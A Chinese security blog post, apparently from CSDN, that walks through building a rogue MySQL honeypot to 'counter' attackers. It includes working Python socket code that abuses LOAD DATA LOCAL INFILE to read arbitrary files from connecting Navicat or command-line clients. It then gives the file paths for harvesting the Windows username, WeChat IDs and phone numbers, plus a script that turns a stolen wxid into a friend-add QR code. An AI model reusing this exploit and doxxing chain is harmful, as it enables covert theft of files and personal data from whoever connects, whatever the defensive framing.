MYSQL蜜罐反制 已测试

应用场景

蜜罐是网络攻防对抗中检测威胁的重要产品。防守方常常利用蜜罐分析攻击行为、捕获漏洞、甚至反制攻击者。同样,攻击方也可以通过蜜罐识别技术来发现和规避蜜罐,减少被防守方溯源。蜜罐环境能否迷惑攻击者一定程度上取决于搭建环境是否仿真,简单的环境容易被攻击者识破。现如今,弱口令依然是导致网络安全事件的主要因素,有时候一个弱口令可能导致企业被攻击者从外网打到内网。mysql蜜罐通过搭建一个简单的mysql服务,如果攻击者对目标客户进行3306端口爆破,并且用navicat等工具连接蜜罐服务器,就可能被防守方读取本地文件,包括微信配置文件和谷歌历史记录等等,这样很容易被防守方溯源。

反制思路

MySQL服务端可以利用 LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。

Load data infile是MySQL的一个高效导入数据的方法,它的速度非常快。是MySQL里一款强大的数据导入工具。

网上有很多文章分析,mysql蜜罐反制是可以读取到本地的任意文件的,比如:微信id、Chrome历史记录等

mysql连接分析学习

先不着急对反制进行学习,在这里先对mysql进行通讯的过程进行学习。
mysql环境IP:192.168.42.133

启动mysql,并支持外联,加载数据库

use mysql; 

修改登录主机%为任意主机

grant all privileges on *.* to root@'%' identified by '你的密码'; 

刷新权限

flush privileges; 

在这里插入图片描述

攻击者windows环境命令行

攻击者IP:192.168.42.128
环境windows客户端,使用命令行连接133服务器的数据库,分析一下流量

mysql -uroot -p -h 192.168.42.133

在这里插入图片描述

第一阶段是Greting包,返回了包含服务器version等信息
在这里插入图片描述

第二阶段是用户登录,当前可以看到用户名和密码的hash值
在这里插入图片描述
第三阶段认证成功
在这里插入图片描述
如果是密码错误的状态时
在这里插入图片描述

查询数据库指令
在这里插入图片描述
但是Navicat登录认证和以上的稍微有一些不同,在这里以Windows试用版的Navicat为例分析下。

Navicat登录认证分析

本文以Navicat17 试用版为例进行分析,登录流程与上述分析相差不多,在登录认证成功之后多了一个查询的操作:

SET NAMES utf8mb4

在这里插入图片描述

SHOW VARIABLES LIKE 'lower_case_%'; SHOW VARIABLES LIKE 'sql_mode'; SELECT COUNT(*) AS support_ndb FROM information_schema.ENGINES WHERE Engine = 'ndbcluster';

在这里插入图片描述
问题就出在这两个位置,下面结合mysql特性和Navicat特性来学习,但是不清楚第二个查询语句是否有影响。

mysql特性

MySQL服务端可以利用LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。
load data infile语句从一个文本文件中以很高的速度读入一个表中。
先使用Navicat进行连接:
在这里插入图片描述
在这里使用命令查询Load data infile命令是否开启:

show global variables like'local_infile';

在这里插入图片描述
可以看到该功能是默认开启的,如果没有开启的话,可以使用以下命令开启:

set global local_infile=1;

然后新建一个表为test1,在本地执行以下命令,写入文件成功

load data local infile 'E:/2.txt' into table mysql.test1 fields terminated by '\n';

在这里插入图片描述

Navicat通讯分析

在Navicat建立一个新的mysql连接中,一共产生了如下的流量:
在这里插入图片描述
请求读取文件的语句:
在这里插入图片描述
重点看一下应答:
在这里插入图片描述

将当前的信息分为4个部分:
在这里插入图片描述
在这个图中:

第一个位置00 00 01值得是数据包的序号
第二个位置fb是包的类型
第三个位置是从fb开始到最后,为文件名
第四个位置为从fb开始到最后的文件名长度,为16进制的,十六进制的26转化为十进制为38。

然后读取文件内容到指定位置:
在这里插入图片描述

在Navicat连接mysql的过程中可以看到,首先需要建立一个连接,然后再发送自动发送SET NAMES utf8mb4 ,最后构造Response TABULAR包的payload来返回给客户端,然后请求下载客户端的文件。当然,在这个过程中,是人为的请求将本地的文件上传到远程服务器上的,具体流程可以见下图:
在这里插入图片描述

Navicat反制的坑

通过以上流程可以知道,如果是针对数据库管理软件Navicat,并且开启了load data infile功能,理论上来说,就可以进行反制,在这里借用师傅在以下文章中的代码:

https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA

使用socket模块来模拟一个mysql认证的流程:

import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)

while True:
    # 建立客户端连接
    clientsocket,addr = serversocket.accept()      

    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
    clientsocket.sendall(version_text)
    try:
        # 客户端请求信息
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
    clientsocket.sendall(verification)
    try:
        # SET NAMES utf8mb4
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response TABULAR
    evil_response = b"\x09\x00\x00\x01\xfb\x43\x3a\x2f\x31\x2e\x74\x78\x74"
    clientsocket.sendall(evil_response)
    # file_text
    print(clientsocket.recv(9999))
    clientsocket.close()

在本地运行之后,使用windows命令行去登录:
在这里插入图片描述
在这里插入图片描述
此时显示mysql登录成功。
如果使用Navicat来连接的话:
在这里插入图片描述
在这里插入图片描述
这里因为Navicat本身连接之后的操作要比命令行连接要多,所以这里显示失败也是正常的。可以将代码修改修改即可满足。
在满足Navicat连接mysql的条件之后,可以知道只需要服务器端来发送一个payload就可以获取主机的文件了。理论上来说,可以获取的文件类型非常的多,甚至是非常敏感的文件。

我看过非常多的mysql反制文章,基本上每一个师傅都顺利拿到了微信id等敏感信息,但是我在复现的时候发现,我没有一次是能成功的,最后发现了问题:
我在复现的时候使用的是Navicat绿色版,打开即用,不需要安装,问题也就出在这,如果想要反制成功的话,必须一定需要安装版的Navicat!!!
在这里插入图片描述
在这里插入图片描述

Navicat反制

反制条件准备

环境准备:
Navicat17试用版

在这里插入图片描述
mysql环境:192.168.42.133
攻击机:192.168.42.1,192.168.42.134
所需要的条件:正常安装版本的Navicat,不能使用绿色版
Navicat本身不需要做任何的配置

获取主机名

脚本来源 :https://cloud.tencent.com/developer/article/1856248
在这里是为了获取Windows下的计算机用户名。

C:\Windows\PFRO.log

启动蜜罐
在这里插入图片描述
192.168.42.1使用工具进行连接,配置连接信息,注意,在这里账号密码随意,毕竟mysql服务都是模拟的。
在这里插入图片描述
在这里直接点击进行测试
在这里插入图片描述
测试连接成功,点击确定
在这里插入图片描述

192.168.42.134使用命令行进行连接。
在这里插入图片描述
此时看下蜜罐,命令行连接成功,工具返回连接失败。
在这里插入图片描述
其中192.168.42.1是本机win11通过navicat进行连接,然后报错,没有成功读取文件。
192.168.42.134是通过win10的命令行进行mysql连接,成功返回连接,42.134成功读取了PFRO文件。
在这里插入图片描述

,cjh
然后这里的报错原因我怀疑是win11的问题,这里在win10环境使用工具进行测试,然后还是报错,决定降低一下navicat版本试一试。
在这里插入图片描述
通过降低工具的版本,使用Navicat15.0.23无论是win10还是win11均读取成功。
成功的版本15.0.23,失败的版本17系列,造成失败的原因可能是代码不完善,后面在继续完善一下。
在这里插入图片描述
在这里插入图片描述

获取微信id

在上面获取到主机用户名之后,就可以直接获取微信id,如果微信默认安装的话,在这里的路径就是:

C:\Users\<目标用户名>\Documents\WeChat Files\All Users\config\config.data

现在已经知道了用户名,所以文件名称为:

C:\Users\zbl\Documents\WeChat Files\All Users\config\config.data

在这里插入图片描述

获取手机号

通过获取的wxid来获取手机号,微信昵称等信息

C:/Users/zbl/Documents/WeChat Files/wxid_43ss8sujri0x22/config/AccInfo.dat

在这里插入图片描述

通过wxid添加好友,运行代码生成二维码。

import qrcode
from PIL import Image
import os

# 生成二维码图片
# 参数为wxid和二维码要保存的文件名
def make_qr(str,save):
    qr=qrcode.QRCode(
        version=4,  #生成二维码尺寸的大小 1-40  1:21*21(21+(n-1)*4)
        error_correction=qrcode.constants.ERROR_CORRECT_M, #L:7% M:15% Q:25% H:30%
        box_size=10, #每个格子的像素大小
        border=2, #边框的格子宽度大小
    )
    qr.add_data(str)
    qr.make(fit=True)

    img=qr.make_image()
    img.save(save)

# 读取到的wxid
wxid = 'wxid_u3mnwpofg22'
qr_id = 'weixin://contacts/profile/' + wxid
make_qr(qr_id,'demo.jpg')

运行代码生成了对方二维码,扫码可以添加对方好友,但这是很多年前的wxid规则,所以扫码添加会提示当前页面无法显示。
在这里插入图片描述
除了自己生成二维码,还可以借助其它软件,比如数据兔恢复大师,这款app主要功能是恢复微信聊天记录,同时也能够根据wxid生二维码,通过这款app也能够读取微信好友的wxid。通过wxid加好友,当然价格有点小贵,这里没有尝试。

参考链接

  1. https://github.com/c0cc/fakeMysql。
  2. https://www.freebuf.com/articles/web/247976.html
  3. https://blog.csdn.net/caoxiaohong1005/article/details/72570147
  4. https://cloud.tencent.com/developer/article/1856248

遗留问题:
1.navicat16 17还未测试是否可以
2.反制cs
3.每次获取文件后需要重启蜜罐获取下一个文件内容,更新脚本内容:建立txt文件存储路径,从文件中读取路径并读取攻击者信息,循环监听。
4.反制mac/linux

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值